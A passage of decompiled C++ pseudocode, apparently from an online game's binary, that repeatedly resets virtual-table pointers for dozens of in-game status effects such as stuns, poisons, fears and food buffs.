v1->asl_CRACKERACUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERWCUPRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_CRACKERCURSE.astr_Tick); v1->asl_CRACKERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERWCDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CRACKERACDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIKNOCKBACKROLL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIMOBSUICIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSMOVE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSMOVE.astr_Tick); v1->asl_GTIVIRUSMOVE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSRT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSRT.astr_Tick); v1->asl_GTIVIRUSRT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSMOVEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSMOVEMAIN.astr_Tick); v1->asl_GTIVIRUSMOVEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIVIRUSRTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIVIRUSRTMAIN.astr_Tick); v1->asl_GTIVIRUSRTMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIREVERSEORDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMBDIE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBOMB2.astr_Tick); v1->asl_GTIBOMB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBOMB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBOMB1.astr_Tick); v1->asl_GTIBOMB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTIBINDING.astr_Tick); v1->asl_GTIBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTISCAN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GTISCAN.astr_Tick); v1->asl_GTISCAN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIHIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIMETASLIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTICONFUSION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIBLIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIREFLECT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIRESISTALL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTISPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GTIRATEPOINT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MONKEYDEFENSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MONKEYSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STAMRBLUEDRAGON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STACCREDDRAGON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TIMEATTACKMINI.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRIT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PARALYSIS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANGRY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTMRUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTACUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTALLSTATSUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTSPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVENTHPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDATKUPL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKRUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BODYFORCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DOTDMGADDALL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANTIKNOCK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHADOWBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULFREE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVASIONDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DOTDMGDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_USESPADD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLOODDMGDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONDMGDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONDMGADD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RANGEEVASIONUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTFBURN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORTFBURN.astr_Tick); v1->asl_NORTFBURN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FITMOVEDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FITBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FITBLOOD.astr_Tick); v1->asl_FITBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTHPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORTHPOISON.astr_Tick); v1->asl_NORTHPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RESTEXP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CANNOTCONTROL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CANNOTCHANGETARGET.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FATALKNOCKBACK.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACKROLL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACKFLY.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACK.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLOODFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SILBERKBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SILBERKBLOODING.astr_Tick); v1->asl_SILBERKBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MRMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDOTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KARENDOTHEAL.astr_Tick); v1->asl_KARENDOTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKDASHSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKCANTCHAT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKCANTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENCAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENSTATIC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDIVINE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KARENDOT.astr_Tick); v1->asl_KARENDOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDACMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDMOVESPEEDUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDRESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GLDRESTORE.astr_Tick); v1->asl_GLDRESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ETHEREAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KALBANDISEASE.astr_Tick); v1->asl_KALBANDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KALBANPOISON.astr_Tick); v1->asl_KALBANPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NATURALENEMY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAGENALBUF.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF7P.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF7PMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF10P.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF10PMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOLEFIRE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SOLEFIRE.astr_Tick); v1->asl_SOLEFIRE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_AGONYBELLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_AGONYWINE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGSUB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGSUB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGBUF.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB15.astr_Tick); v1->asl_FOODTYPEB15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB14.astr_Tick); v1->asl_FOODTYPEB14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB13.astr_Tick); v1->asl_FOODTYPEB13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB12.astr_Tick); v1->asl_FOODTYPEB12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB11.astr_Tick); v1->asl_FOODTYPEB11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB10.astr_Tick); v1->asl_FOODTYPEB10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB09.astr_Tick); v1->asl_FOODTYPEB09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB08.astr_Tick); v1->asl_FOODTYPEB08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind 